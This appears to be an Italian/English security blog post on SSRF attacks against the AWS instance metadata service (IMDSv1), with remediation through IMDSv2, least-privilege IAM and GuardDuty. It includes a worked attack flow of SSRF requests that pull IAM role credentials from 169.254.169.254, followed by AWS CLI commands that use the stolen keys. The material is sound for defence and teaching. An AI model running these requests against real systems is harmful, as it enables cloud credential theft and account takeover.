Una GET, 169.254.169.254, credenziali IAM sul piatto

[01] La vulnerabilità che nessuno prende sul serio finché non è troppo tardi

Esiste una categoria di vulnerabilità che potremmo definire banalmente catastrofiche: quelle che, sulla carta, sembrano un problema minore — una SSRF su un parametro URL, un redirect non validato, un fetch lato server che accetta input dell'utente — e che nella pratica, quando si trovano sull'istanza sbagliata nel cloud sbagliato con le configurazioni sbagliate, si trasformano in una compromissione completa dell'account AWS. Con un singolo HTTP request. Senza exploit sofisticati. Senza CVE con CVSS 10. Solo una GET verso un IP che la maggior parte degli sviluppatori non ha mai sentito nominare.

Quell'IP è 169.254.169.254. È un link-local address (RFC 3927), raggiungibile solo dall'interno dell'istanza, e ospita il Instance Metadata Service di AWS — il servizio che ogni istanza EC2 usa per sapere chi è, in quale regione si trova, e — dettaglio non trascurabile — quali credenziali IAM temporanee ha a disposizione. Il tutto esposto su HTTP puro, porta 80, senza autenticazione. O almeno, così funzionava con IMDSv1. Il che ci porta direttamente al motivo per cui Capital One ha perso 106 milioni di record nel 2019.

[02] IMDS — cos'è, cosa espone, perché esiste

L'Instance Metadata Service non è una feature opzionale: è l'infrastruttura con cui un'istanza EC2 si autoidentifica. Quando un'applicazione in esecuzione su EC2 vuole sapere in quale availability zone si trova, qual è il suo instance ID, o — soprattutto — qual è il ruolo IAM associato e le credenziali temporanee STS per usarlo, interroga l'IMDS. Il tutto senza dover hardcodare niente nelle variabili d'ambiente, niente in Secrets Manager, niente da nessuna parte. È conveniente. È elegante. Con IMDSv1, è anche un disastro potenziale.

Cosa c'è dentro — i path più interessanti

# IMDS — path selezionati per chi ha fretta (o cattive intenzioni)
# Base URL: http://169.254.169.254/latest/

meta-data/instance-id              # → i-0a1b2c3d4e5f67890
meta-data/instance-type             # → t3.medium
meta-data/placement/region          # → eu-west-1
meta-data/public-ipv4               # → x.x.x.x (se presente)
meta-data/local-ipv4                # → 10.x.x.x
meta-data/security-groups           # → nomi dei security group
meta-data/hostname                  # → ip-10-x-x-x.eu-west-1.compute.internal

# Il path interessante — quello per cui siamo qui:
meta-data/iam/security-credentials/         # → nome del ruolo IAM associato
meta-data/iam/security-credentials/{role}   # → credenziali IAM temporanee (JSON)

# user-data — bonus non richiesto ma sempre gradito:
user-data                           # → script di bootstrap dell'istanza
# in produzione contiene spesso: DB_PASSWORD=, API_KEY=, aws configure --secret
# hardcodati da qualche DevOps che "tanto è solo per il bootstrap"
# (sì. davvero. in produzione. più volte di quanto vorreste sapere.)

# IMDS — paths selected for those in a hurry (or with bad intentions)
# Base URL: http://169.254.169.254/latest/

meta-data/instance-id              # → i-0a1b2c3d4e5f67890
meta-data/instance-type             # → t3.medium
meta-data/placement/region          # → eu-west-1
meta-data/public-ipv4               # → x.x.x.x (if assigned)
meta-data/local-ipv4                # → 10.x.x.x
meta-data/security-groups           # → security group names
meta-data/hostname                  # → ip-10-x-x-x.eu-west-1.compute.internal

# The interesting path — the reason we're here:
meta-data/iam/security-credentials/         # → name of the attached IAM role
meta-data/iam/security-credentials/{role}   # → temporary IAM credentials (JSON)

# user-data — unrequested bonus, always welcome:
user-data                           # → instance bootstrap script
# in production often contains: DB_PASSWORD=, API_KEY=, aws configure --secret
# hardcoded by some DevOps who thought "it's just for bootstrap"
# (yes. really. in production. more often than you'd want to know.)

Quel path iam/security-credentials/{role} restituisce un JSON con AccessKeyId, SecretAccessKey, Token ed Expiration. Sono credenziali STS temporanee — si rinnovano automaticamente, di solito ogni ora — e sono esattamente quelle che l'AWS SDK usa internamente quando gira su EC2. Se le ottieni tu, puoi usarle esattamente come farebbe l'applicazione. Con i permessi del ruolo IAM. Che spesso, per la filosofia del "funziona, non tocchiamo", è più permissivo del necessario.

[03] IMDSv1 — l'attacco che è una GET

Una Server-Side Request Forgery è una classe di vulnerabilità in cui un attaccante riesce a convincere il server a fare richieste HTTP per suo conto verso destinazioni arbitrarie. Il caso più elementare: un'applicazione ha un parametro url= o fetch= che usa per recuperare risorse esterne — un'immagine, un documento, un feed. Se quel parametro non è validato, e se l'applicazione gira su EC2, la destinazione "arbitraria" più interessante è esattamente 169.254.169.254.

Flusso di attacco — passo dopo passo

# FASE 1 — ricognizione: esiste il ruolo?
# L'attaccante inietta l'URL dell'IMDS nel parametro vulnerabile

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → risposta: nome del ruolo IAM, es:
ec2-app-role-prod

# FASE 2 — furto: recupera le credenziali del ruolo

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-app-role-prod
# → risposta JSON:
{
  "Code":            "Success",
  "AccessKeyId":     "ASIA4XAMPLEKEY123456",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token":           "AQoXnyc4lcK4w...<token STS lungo 1200 caratteri>",
  "Expiration":      "2026-03-30T14:22:00Z"
}

# FASE 3 — utilizzo: AWS CLI con le credenziali rubate

export AWS_ACCESS_KEY_ID=ASIA4XAMPLEKEY123456
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_SESSION_TOKEN=AQoXnyc4lcK4w...

aws sts get-caller-identity
# → conferma chi sei (il ruolo dell'istanza, ora nelle tue mani)
aws s3 ls
# → lista tutti i bucket accessibili al ruolo
aws iam list-attached-role-policies --role-name ec2-app-role-prod
# → vediamo cosa puoi fare esattamente

# Tempo totale dall'identificazione SSRF all'ottenimento credenziali: < 60 secondi
# Competenze richieste: curl, jq, AWS CLI — roba da sviluppatore junior
# Scopo: educativo. Ovviamente. (Questa volta lo diciamo con più convinzione.)

# PHASE 1 — recon: does the role exist?
# Attacker injects the IMDS URL into the vulnerable parameter

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → response: IAM role name, e.g.:
ec2-app-role-prod

# PHASE 2 — theft: retrieve the role credentials

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-app-role-prod
# → JSON response:
{
  "Code":            "Success",
  "AccessKeyId":     "ASIA4XAMPLEKEY123456",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token":           "AQoXnyc4lcK4w...<1200-char STS token>",
  "Expiration":      "2026-03-30T14:22:00Z"
}

# PHASE 3 — use it: AWS CLI with stolen credentials

export AWS_ACCESS_KEY_ID=ASIA4XAMPLEKEY123456
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_SESSION_TOKEN=AQoXnyc4lcK4w...

aws sts get-caller-identity
# → confirms who you are (the instance role, now in your hands)
aws s3 ls
# → lists all buckets accessible to the role
aws iam list-attached-role-policies --role-name ec2-app-role-prod
# → let's see exactly what you can do

# Total time from SSRF discovery to credential theft: < 60 seconds
# Skills required: curl, jq, AWS CLI — junior developer territory
# Purpose: educational. Obviously. (This time we say it with more conviction.)

Tre richieste HTTP. Nessun exploit binario, nessuna shellcode, nessun Metasploit. Una SSRF che in un altro contesto sarebbe stata classificata come low severity da qualche triage frettoloso — "ah, fa solo richieste interne, non ci accede nessuno" — diventa un vettore di esfiltrazione completa dei dati. Questo è il motivo per cui SSRF è nella OWASP Top 10 dal 2021. Non per eleganza teorica. Per la combinazione letale con l'IMDS.

[04] IMDSv2 — come funziona la difesa (e perché è elegante)

AWS ha introdotto IMDSv2 nel novembre 2019 — guarda caso, lo stesso anno del breach Capital One (luglio 2019). Coincidenza temporale che lasciamo alla discrezione del lettore. La soluzione è concettualmente semplice ma tecnicamente robusta: invece di rispondere a qualsiasi GET indiscriminata, IMDSv2 richiede prima una sessione autenticata ottenibile solo tramite PUT con un header specifico e un TTL hop-limit di 1.

# IMDSv2 — flusso corretto (non attaccabile via SSRF standard)

# STEP 1: richiedi un token di sessione con TTL = 21600 secondi (6 ore)
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
# ↑ Deve essere una PUT — la maggior parte dei proxy SSRF forward solo GET/POST
# ↑ Il token ha TTL=1 hop (IP TTL): non può attraversare un proxy HTTP

→ risposta: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...  (token opaco)

# STEP 2: usa il token per ogni richiesta successiva
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
Header: X-aws-ec2-metadata-token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...

# Senza token (o con token scaduto/non valido):
→ HTTP 401 Unauthorized

# Perché il TTL hop=1 ferma la SSRF:
# Attaccante → App vulnerabile (hop 1) → IMDS (hop 2) = TTL esaurito
# Il pacchetto muore prima di raggiungere l'IMDS. Fine della storia.
# (E finalmente il cimitero dei router smette di lavorare gratis per gli attaccanti.)

# IMDSv2 — correct flow (not exploitable via standard SSRF)

# STEP 1: request a session token with TTL = 21600 seconds (6 hours)
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
# ↑ Must be a PUT — most SSRF proxies only forward GET/POST
# ↑ Token has TTL=1 hop (IP TTL): cannot traverse an HTTP proxy

→ response: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...  (opaque token)

# STEP 2: use the token in every subsequent request
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
Header: X-aws-ec2-metadata-token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...

# Without token (or with expired/invalid token):
→ HTTP 401 Unauthorized

# Why TTL hop=1 stops SSRF:
# Attacker → Vulnerable app (hop 1) → IMDS (hop 2) = TTL exhausted
# Packet dies before reaching IMDS. End of story.
# (And finally the router graveyard stops working for free for attackers.)

Il meccanismo chiave è l'IP TTL hop limit. Il token di sessione viene emesso solo se la PUT arriva con TTL = 1 — ovvero se viene da un processo che gira direttamente sull'istanza, senza attraversare nessun proxy. Un attaccante che sfrutta una SSRF è per definizione un hop più lontano: la PUT viaggia dall'attaccante → all'app vulnerabile → all'IMDS, e a quel punto il TTL IP è già a zero. L'IMDS non risponde. Nessun token, nessuna GET successiva, nessuna credenziale.

Confronto diretto — IMDSv1 vs IMDSv2

[05] Il problema reale — HttpTokens: optional nel 2026

AWS ha reso IMDSv2 il default per le nuove istanze EC2 a partire dalla metà del 2024. Tutte le AMI Amazon e quelle dei partner su AWS Marketplace usano HttpTokens: required nei nuovi lanci via Console. Bene. Ottimo. Applausi. Il problema è che l'infrastruttura non si sostituisce con un comunicato stampa. Le istanze create prima di quella data — o create successivamente da AMI non aggiornate, o da IaC legacy che specificava esplicitamente IMDSv1 — sono ancora in piedi, con HttpTokens: optional, e probabilmente nessuno le ha mai aggiornate perché "funzionano, non tocchiamo".

La storia si ripete — stavolta con budget cloud invece che con hardware da 40€ (vedi Cardputer, se te lo sei perso), ma la struttura narrativa è identica. In quell'articolo era il PMF: un checkbox nel pannello admin del router, introdotto nel 2009, che nessuno apriva perché "il Wi-Fi funziona" e aprire il pannello admin richiede di ricordare la password che è scritta sul Post-it sotto il router. Qui è HttpTokens: required: un parametro di configurazione EC2, disponibile dal 2019, che nessuno imposta perché "l'app funziona" e il ticket per l'infrastruttura è rimasto in backlog da sei sprint. Il vettore cambia, il formato cambia, l'inerzia dell'operatore è invariata con una costanza che farebbe invidia a una legge fisica.

[06] Post-exploitation — cosa ci fai con le credenziali rubate

La risposta dipende interamente dai permessi del ruolo IAM associato all'istanza. Il che è un secondo problema, separato ma strettamente correlato: i ruoli IAM assegnati alle istanze EC2 tendono ad accumulare permessi nel tempo con la stessa inesorabilità con cui il codice accumula technical debt. "Abbiamo aggiunto l'accesso a quel bucket S3 per quella feature", "abbiamo dato i permessi CloudWatch perché serviva il logging", "abbiamo aggiunto STS assume-role perché... non ricordo più, ma il ticket era urgente". Il risultato è un ruolo che tecnicamente dovrebbe fare tre cose e in pratica può fare trenta.

La tabella sopra non è teoria. È la lista di permessi che si trovano regolarmente in pen test su istanze EC2 di ambienti di staging (e, con un'allarmante frequenza, di produzione) che si autodefiniscono "sicuri". Il principio del least privilege — dare a ogni risorsa solo i permessi strettamente necessari — è universalmente predicato e selettivamente applicato. Di solito viene applicato dopo l'incidente.

[07] Remediation — le solite checkbox che nessuno apre

La buona notizia: la remediation è genuinamente semplice. Non richiede riprogettare l'architettura, non richiede downtime significativo, non richiede budget. Richiede di fare tre cose che avreste dovuto fare nel 2019 e probabilmente non avete fatto. Nessun giudizio — l'importante è farle ora.

1. Forza IMDSv2 su tutte le istanze

# Patch istanza singola esistente — senza restart necessario
aws ec2 modify-instance-metadata-options \
  --instance-id i-0a1b2c3d4e5f67890 \
  --http-tokens required \
  --http-endpoint enabled

# Forza IMDSv2 come default per tutte le nuove istanze nella region
aws ec2 modify-instance-metadata-defaults \
  --region eu-west-1 \
  --http-tokens required

# Verifica: elenca tutte le istanze con il loro stato IMDS
aws ec2 describe-instances \
  --query 'Reservations[].Instances[].[InstanceId,MetadataOptions.HttpTokens,State.Name]' \
  --output table

# SCP (Service Control Policy) — per impedire che chiunque lanci istanze IMDSv1
# nell'intera AWS Organization (la vera difesa enterprise):
# {
#   "Effect": "Deny",
#   "Action": "ec2:RunInstances",
#   "Condition": {
#     "StringNotEquals": { "ec2:MetadataHttpTokens": "required" }
#   }
# }

# Patch existing single instance — no restart required
aws ec2 modify-instance-metadata-options \
  --instance-id i-0a1b2c3d4e5f67890 \
  --http-tokens required \
  --http-endpoint enabled

# Enforce IMDSv2 as default for all new instances in the region
aws ec2 modify-instance-metadata-defaults \
  --region eu-west-1 \
  --http-tokens required

# Verify: list all instances with their IMDS status
aws ec2 describe-instances \
  --query 'Reservations[].Instances[].[InstanceId,MetadataOptions.HttpTokens,State.Name]' \
  --output table

# SCP (Service Control Policy) — prevent anyone from launching IMDSv1 instances
# across the entire AWS Organization (the real enterprise defense):
# {
#   "Effect": "Deny",
#   "Action": "ec2:RunInstances",
#   "Condition": {
#     "StringNotEquals": { "ec2:MetadataHttpTokens": "required" }
#   }
# }

2. Applica il least privilege ai ruoli IAM

# Identifica i permessi effettivamente usati negli ultimi 90 giorni
aws iam generate-service-last-accessed-details --arn arn:aws:iam::ACCOUNT:role/ec2-app-role-prod
aws iam get-service-last-accessed-details --job-id {job-id}
# → mostra quali servizi AWS il ruolo ha chiamato davvero
# → tutto quello che non appare: candidato per la rimozione

# IAM Access Analyzer — per trovare permessi eccessivi automaticamente
aws accessanalyzer create-analyzer --analyzer-name prod-analyzer --type ACCOUNT
# → genera findings per risorse eccessivamente permissive

# Identify permissions actually used in the last 90 days
aws iam generate-service-last-accessed-details --arn arn:aws:iam::ACCOUNT:role/ec2-app-role-prod
aws iam get-service-last-accessed-details --job-id {job-id}
# → shows which AWS services the role actually called
# → everything that doesn't appear: candidate for removal

# IAM Access Analyzer — find excessive permissions automatically
aws accessanalyzer create-analyzer --analyzer-name prod-analyzer --type ACCOUNT
# → generates findings for overly permissive resources

3. Monitora i tentativi di accesso all'IMDS dall'esterno

# CloudTrail + EventBridge: alert su utilizzo di credenziali EC2 da IP non-AWS
# Un EventBridge rule che trigghera su sts:GetCallerIdentity
# o qualsiasi API call con UserAgent = aws-sdk-* da IP non associato all'istanza:
# indica credenziali IMDS usate dall'esterno dell'istanza — quasi sempre un breach.

# GuardDuty — abilita e lascia che faccia il suo lavoro
aws guardduty create-detector --enable --finding-publishing-frequency FIFTEEN_MINUTES
# Finding rilevante: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS
# → GuardDuty rileva automaticamente credenziali IMDS usate da IP non EC2
# → È il finding che AWS ha aggiunto proprio per questo scenario
# → Gratis nel free tier per 30 giorni. Poi 2-4$/TB di log. Abilitatelo.

# CloudTrail + EventBridge: alert on EC2 credential use from non-AWS IPs
# An EventBridge rule triggering on sts:GetCallerIdentity
# or any API call with UserAgent = aws-sdk-* from an IP not tied to the instance:
# signals IMDS credentials used outside the instance — almost always a breach.

# GuardDuty — enable it and let it do its job
aws guardduty create-detector --enable --finding-publishing-frequency FIFTEEN_MINUTES
# Relevant finding: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS
# → GuardDuty automatically detects IMDS credentials used from non-EC2 IPs
# → This is the finding AWS added specifically for this scenario
# → Free in free tier for 30 days. Then $2-4/TB of logs. Enable it.

Checklist difensiva — versione per chi ha 5 minuti

[08] Conclusione — il solito checkbox, il solito anno zero

C'è un pattern che si ripete con una fedeltà quasi commovente nella sicurezza informatica: una protezione viene introdotta, è opt-in per motivi di compatibilità, la documentazione la menziona, i security blog la trattano, i pen tester la cercano da anni, e una porzione non trascurabile dell'infrastruttura produttiva nel 2026 non ce l'ha ancora abilitata. Il PMF per il Wi-Fi (introdotto 2009, ancora disabilitato nel 2026). HttpTokens: required per l'IMDS (introdotto 2019, ancora optional su migliaia di istanze). È lo stesso articolo, con un IP diverso.

La soluzione non è sofisticata. Non richiede un budget di sicurezza enterprise, non richiede un red team, non richiede di attendere la prossima sprint. Richiede di aprire una console AWS, cercare le istanze con HttpTokens: optional, e cambiarle. Poi di fare un audit rapido dei ruoli IAM e rimuovere quello che non serve. Poi di abilitare GuardDuty. Poi di andare a casa, che probabilmente è già tardi.